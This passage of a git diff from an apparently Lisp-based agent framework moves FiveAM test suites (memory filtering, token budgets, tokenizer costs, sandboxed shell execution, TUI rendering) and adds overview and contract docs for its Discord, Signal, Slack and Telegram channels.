time-memory-suite :description "Temporal memory filtering") -(in-suite time-memory-suite) - -(test test-memory-objects-since - "Contract 1: ingest at T0 and T1, verify memory-objects-since(T1) returns only T1 nodes." - (clrhash passepartout::*memory-store*) - (let ((t0 (get-universal-time))) - (sleep 1) - (ingest-ast (list :type :HEADLINE :properties (list :ID "time-a" :TITLE "A") :contents nil)) - (ingest-ast (list :type :HEADLINE :properties (list :ID "time-b" :TITLE "B") :contents nil)) - (sleep 1) - (let ((t1 (get-universal-time))) - (sleep 1) - (ingest-ast (list :type :HEADLINE :properties (list :ID "time-c" :TITLE "C") :contents nil)) - (ingest-ast (list :type :HEADLINE :properties (list :ID "time-d" :TITLE "D") :contents nil)) - (let ((since-t1 (passepartout::memory-objects-since t1))) - (is (= 2 (length since-t1))) - (let ((ids (sort (mapcar #'memory-object-id since-t1) #'string<))) - (is (string= "time-c" (first ids))) - (is (string= "time-d" (second ids)))) - (let ((since-t0 (passepartout::memory-objects-since t0))) - (is (= 4 (length since-t0)))))))) - -(test test-memory-objects-in-range - "Contract 2: ingest nodes, verify range query returns correct subset." - (clrhash passepartout::*memory-store*) - (let ((t0 (get-universal-time))) - (sleep 1) - (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-1" :TITLE "One") :contents nil)) - (sleep 1) - (let ((t1 (get-universal-time))) - (sleep 1) - (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-2" :TITLE "Two") :contents nil)) - (sleep 1) - (let ((t2 (get-universal-time))) - (sleep 1) - (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-3" :TITLE "Three") :contents nil)) - (let ((range (passepartout::memory-objects-in-range t1 t2))) - (is (= 1 (length range))) - (is (string= "rng-2" (memory-object-id (first range))))))))) diff --git a/lisp/token-economics.lisp b/lisp/token-economics.lisp index 3fcbe11..3e20988 100644 --- a/lisp/token-economics.lisp +++ b/lisp/token-economics.lisp @@ -1,3 +1,102 @@ +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-token-economics-tests + (:use :cl :fiveam :passepartout) + (:export #:token-economics-suite)) + +(in-package :passepartout-token-economics-tests) + +(def-suite token-economics-suite + :description "Prompt prefix caching, incremental context, token budget") +(in-suite token-economics-suite) + +(test test-prompt-prefix-cached-identity + "Contract 1: prompt-prefix-cached includes identity-content when provided." + (setf (car passepartout::*prompt-prefix-cache*) nil + (cdr passepartout::*prompt-prefix-cache*) "") + (let ((prefix (passepartout::prompt-prefix-cached + "Agent" "### Mode: concise" "" nil "No tools"))) + (is (stringp prefix)) + (is (search "IDENTITY" prefix)) + (is (search "Mode: concise" prefix)) + (is (search "TOOLS" prefix)))) + +(test test-prompt-prefix-cached-builds + "Contract 1: prompt-prefix-cached returns a string containing IDENTITY." + (setf (car passepartout::*prompt-prefix-cache*) nil + (cdr passepartout::*prompt-prefix-cache*) "") + (let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))) + (is (stringp prefix)) + (is (search "IDENTITY" prefix)) + (is (search "TOOLS" prefix)))) + +(test test-prompt-prefix-cached-hits + "Contract 1: second call with same inputs returns cached result." + (setf (car passepartout::*prompt-prefix-cache*) nil + (cdr passepartout::*prompt-prefix-cache*) "") + (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")) + (p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))) + (is (string= p1 p2)))) + +(test test-prompt-prefix-cached-miss + "Contract 1: different inputs rebuild the cache." + (setf (car passepartout::*prompt-prefix-cache*) nil + (cdr passepartout::*prompt-prefix-cache*) "") + (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")) + (p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools"))) + (is (not (string= p1 p2))) + (is (search "Bot" p2)))) + +(test test-context-assemble-cached-skips-heartbeat + "Contract 2: heartbeat sensors skip context assembly, return nil." + (let ((result (passepartout::context-assemble-cached + '(:foveal-focus "id1") :heartbeat))) + (is (null result)))) + +(test test-context-assemble-cached-skips-delegation + "Contract 2: delegation sensors also skip assembly." + (let ((result (passepartout::context-assemble-cached + '(:foveal-focus "id1") :delegation))) + (is (null result)))) + +(test test-context-assemble-cached-non-skip + "Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)." + (let ((result (passepartout::context-assemble-cached + '(:foveal-focus "id1") :user-input))) + (is (stringp result)) + (is (> (length result) 0)))) + +(test test-enforce-token-budget-passthrough + "Contract 3: under-budget prompts pass through unchanged." + (multiple-value-bind (p c l u m) + (passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000) + (is (string= "hi" p)) + (is (string= "ctxt" c)) + (is (string= "log" l)) + (is (string= "user" u)) + (is (null m)))) + +(test test-enforce-token-budget-trims + "Contract 3: over-budget prompts get trimmed." + (let ((big-prefix (make-string 20000 :initial-element #\x))) + (multiple-value-bind (p c l u m) + (passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10) + (declare (ignore p l u m)) + ;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed + (is (or (stringp c) (null c))) + (is (search "[Context trimmed" (or c "")))))) + +(test test-token-economics-initialize + "Contract 4: initialize zeroes all cache state." + (setf (car passepartout::*prompt-prefix-cache*) 12345 + (cdr passepartout::*prompt-prefix-cache*) "stale") + (setf (getf passepartout::*context-cache* :rendered) "stale context") + (passepartout::token-economics-initialize) + (is (null (car passepartout::*prompt-prefix-cache*))) + (is (string= "" (cdr passepartout::*prompt-prefix-cache*))) + (is (string= "" (getf passepartout::*context-cache* :rendered)))) + (in-package :passepartout) (defvar *prompt-prefix-cache* (cons nil "") @@ -122,105 +221,6 @@ Returns nil when no context cache data is available." (min 100 (floor (* 100 tokens) limit)) nil))) -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-token-economics-tests - (:use :cl :fiveam :passepartout) - (:export #:token-economics-suite)) - -(in-package :passepartout-token-economics-tests) - -(def-suite token-economics-suite - :description "Prompt prefix caching, incremental context, token budget") -(in-suite token-economics-suite) - -(test test-prompt-prefix-cached-identity - "Contract 1: prompt-prefix-cached includes identity-content when provided." - (setf (car passepartout::*prompt-prefix-cache*) nil - (cdr passepartout::*prompt-prefix-cache*) "") - (let ((prefix (passepartout::prompt-prefix-cached - "Agent" "### Mode: concise" "" nil "No tools"))) - (is (stringp prefix)) - (is (search "IDENTITY" prefix)) - (is (search "Mode: concise" prefix)) - (is (search "TOOLS" prefix)))) - -(test test-prompt-prefix-cached-builds - "Contract 1: prompt-prefix-cached returns a string containing IDENTITY." - (setf (car passepartout::*prompt-prefix-cache*) nil - (cdr passepartout::*prompt-prefix-cache*) "") - (let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))) - (is (stringp prefix)) - (is (search "IDENTITY" prefix)) - (is (search "TOOLS" prefix)))) - -(test test-prompt-prefix-cached-hits - "Contract 1: second call with same inputs returns cached result." - (setf (car passepartout::*prompt-prefix-cache*) nil - (cdr passepartout::*prompt-prefix-cache*) "") - (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")) - (p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))) - (is (string= p1 p2)))) - -(test test-prompt-prefix-cached-miss - "Contract 1: different inputs rebuild the cache." - (setf (car passepartout::*prompt-prefix-cache*) nil - (cdr passepartout::*prompt-prefix-cache*) "") - (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")) - (p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools"))) - (is (not (string= p1 p2))) - (is (search "Bot" p2)))) - -(test test-context-assemble-cached-skips-heartbeat - "Contract 2: heartbeat sensors skip context assembly, return nil." - (let ((result (passepartout::context-assemble-cached - '(:foveal-focus "id1") :heartbeat))) - (is (null result)))) - -(test test-context-assemble-cached-skips-delegation - "Contract 2: delegation sensors also skip assembly." - (let ((result (passepartout::context-assemble-cached - '(:foveal-focus "id1") :delegation))) - (is (null result)))) - -(test test-context-assemble-cached-non-skip - "Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)." - (let ((result (passepartout::context-assemble-cached - '(:foveal-focus "id1") :user-input))) - (is (stringp result)) - (is (> (length result) 0)))) - -(test test-enforce-token-budget-passthrough - "Contract 3: under-budget prompts pass through unchanged." - (multiple-value-bind (p c l u m) - (passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000) - (is (string= "hi" p)) - (is (string= "ctxt" c)) - (is (string= "log" l)) - (is (string= "user" u)) - (is (null m)))) - -(test test-enforce-token-budget-trims - "Contract 3: over-budget prompts get trimmed." - (let ((big-prefix (make-string 20000 :initial-element #\x))) - (multiple-value-bind (p c l u m) - (passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10) - (declare (ignore p l u m)) - ;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed - (is (or (stringp c) (null c))) - (is (search "[Context trimmed" (or c "")))))) - -(test test-token-economics-initialize - "Contract 4: initialize zeroes all cache state." - (setf (car passepartout::*prompt-prefix-cache*) 12345 - (cdr passepartout::*prompt-prefix-cache*) "stale") - (setf (getf passepartout::*context-cache* :rendered) "stale context") - (passepartout::token-economics-initialize) - (is (null (car passepartout::*prompt-prefix-cache*))) - (is (string= "" (cdr passepartout::*prompt-prefix-cache*))) - (is (string= "" (getf passepartout::*context-cache* :rendered)))) - (in-package :passepartout-token-economics-tests) (test test-context-usage-percentage diff --git a/lisp/tokenizer.lisp b/lisp/tokenizer.lisp index dba05ae..63aa935 100644 --- a/lisp/tokenizer.lisp +++ b/lisp/tokenizer.lisp @@ -1,3 +1,75 @@ +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-tokenizer-tests + (:use :cl :fiveam :passepartout) + (:export #:tokenizer-suite)) + +(in-package :passepartout-tokenizer-tests) + +(def-suite tokenizer-suite :description "Token counting and cost estimation") +(in-suite tokenizer-suite) + +(test test-count-tokens-default + "Contract 1: count-tokens returns non-zero for a non-empty string." + (let ((count (count-tokens "hello world"))) + (is (> count 0)) + (is (integerp count)))) + +(test test-count-tokens-known-model + "Contract 1: count-tokens with a known model returns a count." + (let ((count (count-tokens "hello world" :model :gpt-4o-mini))) + (is (> count 0)) + (is (integerp count)))) + +(test test-count-tokens-unknown-model + "Contract 1: count-tokens with an unknown model falls back to default." + (let ((count (count-tokens "hello world" :model :unknown-model-xyz))) + (is (> count 0)) + (is (integerp count)))) + +(test test-count-tokens-empty + "Contract 1: count-tokens on empty string returns 0." + (let ((count (count-tokens ""))) + (is (= 0 count)))) + +(test test-model-token-ratio-known + "Contract 2: known model returns correct ratio." + (is (= 4.0 (model-token-ratio :gpt-4o-mini))) + (is (= 4.5 (model-token-ratio :claude-3-5-sonnet))) + (is (= 3.5 (model-token-ratio :llama-3.1-70b)))) + +(test test-model-token-ratio-unknown + "Contract 2: unknown model returns default ratio." + (is (= 4.0 (model-token-ratio :unknown-model-abc)))) + +(test test-token-cost-known + "Contract 3: token-cost returns a number for known model." + (let ((cost (token-cost :gpt-4o-mini 1000))) + (is (numberp cost)) + (is (> cost 0.0)))) + +(test test-token-cost-unknown + "Contract 3: token-cost returns 0.0 for unknown model." + (is (= 0.0 (token-cost :no-such-model 1000)))) + +(test test-provider-token-cost + "Contract: provider-token-cost maps provider to model price." + (let ((cost (provider-token-cost :deepseek 1000))) + (is (numberp cost)) + (is (> cost 0.0)))) + +(test test-count-tokens-ratio-sensitivity + "Contract 1: longer text produces proportionally more tokens." + (let ((short (count-tokens "hi" :model :gpt-4o-mini)) + (long (count-tokens "this is a much longer piece of text with many words in it" :model :gpt-4o-mini))) + (is (> long short)))) + +(test test-count-tokens-non-string + "Contract 1: non-string values are coerced and counted." + (let ((count (count-tokens 12345))) + (is (> count 0)))) + (in-package :passepartout) (defparameter *model-token-ratios* @@ -72,75 +144,3 @@ Uses the provider's default model for pricing." (if model (token-cost model token-count) 0.0))) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-tokenizer-tests - (:use :cl :fiveam :passepartout) - (:export #:tokenizer-suite)) - -(in-package :passepartout-tokenizer-tests) - -(def-suite tokenizer-suite :description "Token counting and cost estimation") -(in-suite tokenizer-suite) - -(test test-count-tokens-default - "Contract 1: count-tokens returns non-zero for a non-empty string." - (let ((count (count-tokens "hello world"))) - (is (> count 0)) - (is (integerp count)))) - -(test test-count-tokens-known-model - "Contract 1: count-tokens with a known model returns a count." - (let ((count (count-tokens "hello world" :model :gpt-4o-mini))) - (is (> count 0)) - (is (integerp count)))) - -(test test-count-tokens-unknown-model - "Contract 1: count-tokens with an unknown model falls back to default." - (let ((count (count-tokens "hello world" :model :unknown-model-xyz))) - (is (> count 0)) - (is (integerp count)))) - -(test test-count-tokens-empty - "Contract 1: count-tokens on empty string returns 0." - (let ((count (count-tokens ""))) - (is (= 0 count)))) - -(test test-model-token-ratio-known - "Contract 2: known model returns correct ratio." - (is (= 4.0 (model-token-ratio :gpt-4o-mini))) - (is (= 4.5 (model-token-ratio :claude-3-5-sonnet))) - (is (= 3.5 (model-token-ratio :llama-3.1-70b)))) - -(test test-model-token-ratio-unknown - "Contract 2: unknown model returns default ratio." - (is (= 4.0 (model-token-ratio :unknown-model-abc)))) - -(test test-token-cost-known - "Contract 3: token-cost returns a number for known model." - (let ((cost (token-cost :gpt-4o-mini 1000))) - (is (numberp cost)) - (is (> cost 0.0)))) - -(test test-token-cost-unknown - "Contract 3: token-cost returns 0.0 for unknown model." - (is (= 0.0 (token-cost :no-such-model 1000)))) - -(test test-provider-token-cost - "Contract: provider-token-cost maps provider to model price." - (let ((cost (provider-token-cost :deepseek 1000))) - (is (numberp cost)) - (is (> cost 0.0)))) - -(test test-count-tokens-ratio-sensitivity - "Contract 1: longer text produces proportionally more tokens." - (let ((short (count-tokens "hi" :model :gpt-4o-mini)) - (long (count-tokens "this is a much longer piece of text with many words in it" :model :gpt-4o-mini))) - (is (> long short)))) - -(test test-count-tokens-non-string - "Contract 1: non-string values are coerced and counted." - (let ((count (count-tokens 12345))) - (is (> count 0)))) diff --git a/org/channel-cli.org b/org/channel-cli.org index c36059f..83141d6 100644 --- a/org/channel-cli.org +++ b/org/channel-cli.org @@ -10,32 +10,7 @@ The CLI Gateway is the simplest interface to Passepartout — raw stdin/stdout o 1. (channel-cli-input text): wraps text in a ~:user-input~ envelope with ~:source :CLI~ and injects into the pipeline via - ~inject-stimulus~. - -* Implementation - -** Package Context -#+begin_src lisp -(in-package :passepartout) -#+end_src - -** CLI Command Handling -;; REPL-VERIFIED: 2026-05-03T13:00:00 -#+begin_src lisp -(defun channel-cli-input (text) - "Processes raw text from the command line." - (inject-stimulus (list :type :EVENT - :payload (list :sensor :user-input :text text) - :meta (list :source :CLI)))) -#+end_src - -** Skill Registration -#+begin_src lisp -(defskill :passepartout-channel-cli - :priority 100 - :trigger (lambda (ctx) (eq (getf (getf ctx :meta) :source) :CLI)) - :deterministic (lambda (action ctx) (declare (ignore ctx)) action)) -#+end_src + ~stimulus-inject~. * Test Suite @@ -70,3 +45,29 @@ depending on FiveAM macro resolution in the jailed package. (progn (channel-cli-input "test-load") (log-message "CLI: Load-time test OK")) (error (c) (log-message "CLI: Load-time test FAILED: ~a" c))) #+end_src + +* Implementation + +** Package Context +#+begin_src lisp +(in-package :passepartout) +#+end_src + +** CLI Command Handling +;; REPL-VERIFIED: 2026-05-03T13:00:00 +#+begin_src lisp +(defun channel-cli-input (text) + "Processes raw text from the command line." + (stimulus-inject (list :type :EVENT + :payload (list :sensor :user-input :text text) + :meta (list :source :CLI)))) +#+end_src + +** Skill Registration +#+begin_src lisp +(defskill :passepartout-channel-cli + :priority 100 + :trigger (lambda (ctx) (eq (getf (getf ctx :meta) :source) :CLI)) + :deterministic (lambda (action ctx) (declare (ignore ctx)) action)) +#+end_src + diff --git a/org/channel-discord.org b/org/channel-discord.org index b3b649a..9cc2dcf 100644 --- a/org/channel-discord.org +++ b/org/channel-discord.org @@ -7,6 +7,30 @@ Extracted from gateway-messaging in v0.5.0. Isolated platform — Discord-specific poll and send logic. +* Overview + +The Discord channel provides bidirectional communication via the Discord REST API +and Gateway WebSocket. Messages received from Discord channels are injected into +the cognitive pipeline as ~:user-input~ signals with ~:source :discord~. Outbound +messages route through the actuator registry when the pipeline targets ~:discord~. + +The channel uses two functions: ~discord-poll~ (inbound sensor, REST polling) +and ~discord-send~ (outbound actuator, REST POST). Both retrieve the bot token +from the credentials vault (~vault-get-secret :discord~). HITL commands are +intercepted before injection so approval flows work identically across all channels. + +** Contract + +1. (discord-get-token): returns the Discord bot token from the vault + (via ~vault-get-secret :discord~), or nil if not configured. +2. (discord-poll): polls configured channels via GET /channels/{id}/messages, + injects each non-bot message as a ~:user-input~ stimulus with + ~:source :discord~. Handles JSON parse failures and API errors + gracefully. HITL commands are intercepted before injection. +3. (discord-send action context): sends a message via POST /channels/{id}/messages. + Extracts ~:channel-id~ and ~:text~ from the action plist. Uses bot token + authentication. Logs send failures without crashing the pipeline. + * Implementation #+begin_src lisp diff --git a/org/channel-shell.org b/org/channel-shell.org index 9d4ac5d..aa261fe 100644 --- a/org/channel-shell.org +++ b/org/channel-shell.org @@ -26,6 +26,41 @@ Because shell execution is the highest-risk operation in the system, the Shell A command through the sandbox. When ~bwrap~ is unavailable, falls back to the existing ~timeout bash -c~ behavior. +* Test Suite +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-shell-actuator-tests + (:use :cl :fiveam :passepartout) + (:export #:shell-actuator-suite)) + +(in-package :passepartout-shell-actuator-tests) + +(def-suite shell-actuator-suite :description "Verification of the Shell Actuator") +(in-suite shell-actuator-suite) + +(test test-bwrap-wrap-command + "Contract 2: bwrap-wrap-command returns properly formatted command list." + (let ((cmdline (passepartout::bwrap-wrap-command "echo hello" 30 "/home/user/memex"))) + (is (member "bwrap" cmdline :test #'string=)) + (is (member "--unshare-net" cmdline :test #'string=)) + (is (member "--unshare-ipc" cmdline :test #'string=)) + (is (member "echo hello" cmdline :test #'string=)))) + +(test test-bwrap-available-p-returns-boolean + "Contract 1: bwrap-available-p returns T or NIL." + (let ((avail (passepartout::bwrap-available-p))) + (is (typep avail 'boolean)))) + +(test test-actuator-shell-execute-echo + "Contract 3: actuator-shell-execute runs echo and returns output." + (let* ((action '(:type :REQUEST :target :shell :payload (:cmd "echo hello"))) + (result (passepartout::actuator-shell-execute action nil))) + (is (stringp result)) + (is (search "hello" result :test #'char-equal)))) +#+end_src + * Implementation ** Shell Execution (actuator-shell-execute) @@ -99,37 +134,3 @@ When bwrap is available, wraps the command in a Linux namespace sandbox." :trigger (lambda (ctx) (declare (ignore ctx)) nil)) #+end_src -* Test Suite -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-shell-actuator-tests - (:use :cl :fiveam :passepartout) - (:export #:shell-actuator-suite)) - -(in-package :passepartout-shell-actuator-tests) - -(def-suite shell-actuator-suite :description "Verification of the Shell Actuator") -(in-suite shell-actuator-suite) - -(test test-bwrap-wrap-command - "Contract 2: bwrap-wrap-command returns properly formatted command list." - (let ((cmdline (passepartout::bwrap-wrap-command "echo hello" 30 "/home/user/memex"))) - (is (member "bwrap" cmdline :test #'string=)) - (is (member "--unshare-net" cmdline :test #'string=)) - (is (member "--unshare-ipc" cmdline :test #'string=)) - (is (member "echo hello" cmdline :test #'string=)))) - -(test test-bwrap-available-p-returns-boolean - "Contract 1: bwrap-available-p returns T or NIL." - (let ((avail (passepartout::bwrap-available-p))) - (is (typep avail 'boolean)))) - -(test test-actuator-shell-execute-echo - "Contract 3: actuator-shell-execute runs echo and returns output." - (let* ((action '(:type :REQUEST :target :shell :payload (:cmd "echo hello"))) - (result (passepartout::actuator-shell-execute action nil))) - (is (stringp result)) - (is (search "hello" result :test #'char-equal)))) -#+end_src diff --git a/org/channel-signal.org b/org/channel-signal.org index 616aadc..dae73e3 100644 --- a/org/channel-signal.org +++ b/org/channel-signal.org @@ -7,6 +7,31 @@ Extracted from gateway-messaging in v0.5.0. Isolated platform — Signal-specific poll and send logic. +* Overview + +The Signal channel provides bidirectional communication via the ~signal-cli~ CLI tool. +Messages received from Signal contacts are injected into the cognitive pipeline +as ~:user-input~ signals with ~:source :signal~. Outbound messages route through +the actuator registry when the pipeline targets ~:signal~. + +The channel uses two functions: ~signal-poll~ (inbound sensor) and ~signal-send~ +(outbound actuator). Both retrieve the Signal account identifier from the +credentials vault. HITL commands (~/approve~, ~/deny~) are intercepted before +injection so approval flows work identically across all channels. + +** Contract + +1. (signal-get-account): returns the Signal phone number from the vault + (via ~vault-get-secret :signal~), or nil if not configured. +2. (signal-poll): queries ~signal-cli receive --json~ for new messages, + injects each non-system message as a ~:user-input~ stimulus with + ~:source :signal~. Handles JSON parse failures and network errors + gracefully (logs and continues). HITL commands are intercepted before + injection. +3. (signal-send action context): sends a message via ~signal-cli send~. + Extracts ~:chat-id~ and ~:text~ from the action plist. Logs send + failures without crashing the pipeline. + * Implementation #+begin_src lisp diff --git a/org/channel-slack.org b/org/channel-slack.org index 14014f0..1ddc2eb 100644 --- a/org/channel-slack.org +++ b/org/channel-slack.org @@ -7,6 +7,31 @@ Extracted from gateway-messaging in v0.5.0. Isolated platform — Slack-specific poll and send logic. +* Overview + +The Slack channel provides bidirectional communication via the Slack Web API +(chat.postMessage for outbound, conversations.history for inbound polling). +Messages from Slack channels are injected into the cognitive pipeline as +~:user-input~ signals with ~:source :slack~. Outbound messages route through +the actuator registry when the pipeline targets ~:slack~. + +The channel uses two functions: ~slack-poll~ (inbound sensor) and ~slack-send~ +(outbound actuator). Both retrieve the bot token from the credentials vault. +HITL commands are intercepted before injection so approval flows work identically +across all channels. + +** Contract + +1. (slack-get-token): returns the Slack bot token from the vault + (via ~vault-get-secret :slack~), or nil if not configured. +2. (slack-poll): polls configured channels via conversations.history, + injects each non-bot message as a ~:user-input~ stimulus with + ~:source :slack~. Handles API errors gracefully. HITL commands are + intercepted before injection. +3. (slack-send action context): sends a message via chat.postMessage. + Extracts ~:channel-id~ and ~:text~ from the action plist. Uses Bearer + token authentication. Logs send failures without crashing the pipeline. + * Implementation #+begin_src lisp diff --git a/org/channel-telegram.org b/org/channel-telegram.org index df6545e..3fcaa00 100644 --- a/org/channel-telegram.org +++ b/org/channel-telegram.org @@ -7,6 +7,33 @@ Extracted from gateway-messaging in v0.5.0. Isolated platform — Telegram-specific poll and send logic. +* Overview + +The Telegram channel provides bidirectional communication via the Telegram Bot +API. Messages from Telegram chats are injected into the cognitive pipeline as +~:user-input~ signals with ~:source :telegram~. Outbound messages route through +the actuator registry when the pipeline targets ~:telegram~. + +The channel uses two functions: ~telegram-poll~ (inbound sensor, getUpdates +with offset tracking) and ~telegram-send~ (outbound actuator, sendMessage). +Both retrieve the bot token from the credentials vault. The polling offset +(~:last-update-id~ in ~*gateway-configs*~) prevents duplicate processing across +poll cycles. HITL commands are intercepted before injection so approval flows +work identically across all channels. + +** Contract + +1. (telegram-get-token): returns the Telegram bot token from the vault + (via ~vault-get-secret :telegram~), or nil if not configured. +2. (telegram-poll): polls getUpdates with offset tracking (prevents + duplicate processing), injects each message as a ~:user-input~ stimulus + with ~:source :telegram~. Updates ~:last-update-id~ per cycle. Handles + API and JSON parse errors gracefully. HITL commands are intercepted + before injection. +3. (telegram-send action context): sends a message via sendMessage. + Extracts ~:chat-id~ and ~:text~ from the action plist. Logs send + failures without crashing the pipeline. + * Implementation #+begin_src lisp diff --git a/org/channel-tui-view.org b/org/channel-tui-view.org index 79a3b45..9f05a19 100644 --- a/org/channel-tui-view.org +++ b/org/channel-tui-view.org @@ -288,6 +288,117 @@ that the TUI actuator attaches to the response plist before transmission. (setf (st :dirty) (list nil nil nil)))) #+end_src +* Test Suite +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-tui-view-tests + (:use :cl :fiveam :passepartout) + (:export #:tui-view-suite)) + +(in-package :passepartout-tui-view-tests) + +(def-suite tui-view-suite :description "TUI view rendering helpers") +(in-suite tui-view-suite) + +(test test-char-width-ascii + "Contract 5: ASCII characters (< 128) have width 1." + (is (= 1 (passepartout::char-width #\a))) + (is (= 1 (passepartout::char-width #\Space))) + (is (= 1 (passepartout::char-width #\@)))) + +(test test-char-width-tab + "Contract 5: tab character has width 8." + (is (= 8 (passepartout::char-width #\Tab)))) + +(test test-char-width-cjk + "Contract 5: CJK characters have width 2." + (is (= 2 (passepartout::char-width #\日)))) + +(test test-char-width-null + "Contract 5: null has width 0." + (is (= 0 (passepartout::char-width #\Nul)))) + +(test test-markdown-bold + "Contract 7: parse-markdown-spans detects **bold**." + (let ((segments (passepartout::parse-markdown-spans "hello **world**!"))) + (is (= 3 (length segments))))) + +(test test-markdown-plain + "Contract 7: plain text returns single segment." + (let ((segments (passepartout::parse-markdown-spans "plain"))) + (is (= 1 (length segments))) + (is (string= "plain" (caar segments))))) + +(test test-markdown-url + "Contract 7: parse-markdown-spans detects URLs." + (let ((segments (passepartout::parse-markdown-spans "see https://example.com for more"))) + (is (>= (length segments) 2)) + (is (find t segments :key (lambda (s) (getf (cdr s) :url)))))) + +(test test-markdown-blocks + "Contract 8: parse-markdown-blocks detects code blocks." + (let* ((text (format nil "before~%```lisp~%(+ 1 2)~%```~%after")) + (segs (passepartout::parse-markdown-blocks text))) + (is (= 3 (length segs))) + (let ((code (second segs))) + (is (eq t (getf code :code-block))) + (is (string= "lisp" (getf code :lang))) + (is (string= "(+ 1 2)" (string-trim '(#\Space #\Newline) (getf code :content))))))) + +(test test-markdown-blocks-no-close + "Contract 8: unclosed code block returns content." + (let* ((text (format nil "```~%unclosed code")) + (segs (passepartout::parse-markdown-blocks text))) + (is (= 1 (length segs))) + (is (eq t (getf (first segs) :code-block))))) + +(test test-syntax-highlight + "Contract 9: syntax-highlight colors Lisp code." + (let ((segs (passepartout::syntax-highlight "(defun foo (x) (+ x 1))" "lisp"))) + (is (>= (length segs) 3)))) + +(test test-syntax-highlight-keyword + "Contract 9: syntax-highlight colors keywords." + (let ((segs (passepartout::syntax-highlight "(let ((x 1)) (+ x 2))" "lisp"))) + (is (>= (length segs) 2)) + (is (find :keyword segs :key (lambda (s) (getf (cdr s) :fgcolor)))))) + +(test test-syntax-highlight-function + "Contract 9: syntax-highlight colors function calls." + (let ((segs (passepartout::syntax-highlight "(+ 1 2)" "lisp"))) + (is (>= (length segs) 2)) + (is (find :function segs :key (lambda (s) (getf (cdr s) :fgcolor)))))) + +(test test-gate-trace-lines-passed + "Contract 9: gate-trace-lines for passed gate." + (let ((lines (passepartout::gate-trace-lines + '((:gate "path" :result :passed))))) + (is (= 1 (length lines))) + (is (eq :gate-passed (getf (cdar lines) :fgcolor))))) + +(test test-gate-trace-lines-blocked + "Contract 9: gate-trace-lines for blocked gate." + (let ((lines (passepartout::gate-trace-lines + '((:gate "shell" :result :blocked :reason "rm"))))) + (is (= 1 (length lines))) + (is (search "rm" (caar lines))))) + +(test test-gate-trace-lines-approval + "Contract 9: gate-trace-lines for approval gate." + (let ((lines (passepartout::gate-trace-lines + '((:gate "network" :result :approval))))) + (is (= 1 (length lines))) + (is (search "HITL" (caar lines))))) + +(test test-init-state-has-collapsed-gates + "Contract v0.7.2: init-state includes :collapsed-gates field." + (passepartout.channel-tui::init-state) + (let ((cg (passepartout.channel-tui::st :collapsed-gates))) + (is (null cg)))) +#+end_src + * Implementation — v0.7.0 additions #+begin_src lisp (in-package :passepartout) @@ -688,117 +799,6 @@ Respects CJK/emoji char widths via char-width." (- h 1))) #+end_src -* Test Suite -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-tui-view-tests - (:use :cl :fiveam :passepartout) - (:export #:tui-view-suite)) - -(in-package :passepartout-tui-view-tests) - -(def-suite tui-view-suite :description "TUI view rendering helpers") -(in-suite tui-view-suite) - -(test test-char-width-ascii - "Contract 5: ASCII characters (< 128) have width 1." - (is (= 1 (passepartout::char-width #\a))) - (is (= 1 (passepartout::char-width #\Space))) - (is (= 1 (passepartout::char-width #\@)))) - -(test test-char-width-tab - "Contract 5: tab character has width 8." - (is (= 8 (passepartout::char-width #\Tab)))) - -(test test-char-width-cjk - "Contract 5: CJK characters have width 2." - (is (= 2 (passepartout::char-width #\日)))) - -(test test-char-width-null - "Contract 5: null has width 0." - (is (= 0 (passepartout::char-width #\Nul)))) - -(test test-markdown-bold - "Contract 7: parse-markdown-spans detects **bold**." - (let ((segments (passepartout::parse-markdown-spans "hello **world**!"))) - (is (= 3 (length segments))))) - -(test test-markdown-plain - "Contract 7: plain text returns single segment." - (let ((segments (passepartout::parse-markdown-spans "plain"))) - (is (= 1 (length segments))) - (is (string= "plain" (caar segments))))) - -(test test-markdown-url - "Contract 7: parse-markdown-spans detects URLs." - (let ((segments (passepartout::parse-markdown-spans "see https://example.com for more"))) - (is (>= (length segments) 2)) - (is (find t segments :key (lambda (s) (getf (cdr s) :url)))))) - -(test test-markdown-blocks - "Contract 8: parse-markdown-blocks detects code blocks." - (let* ((text (format nil "before~%```lisp~%(+ 1 2)~%```~%after")) - (segs (passepartout::parse-markdown-blocks text))) - (is (= 3 (length segs))) - (let ((code (second segs))) - (is (eq t (getf code :code-block))) - (is (string= "lisp" 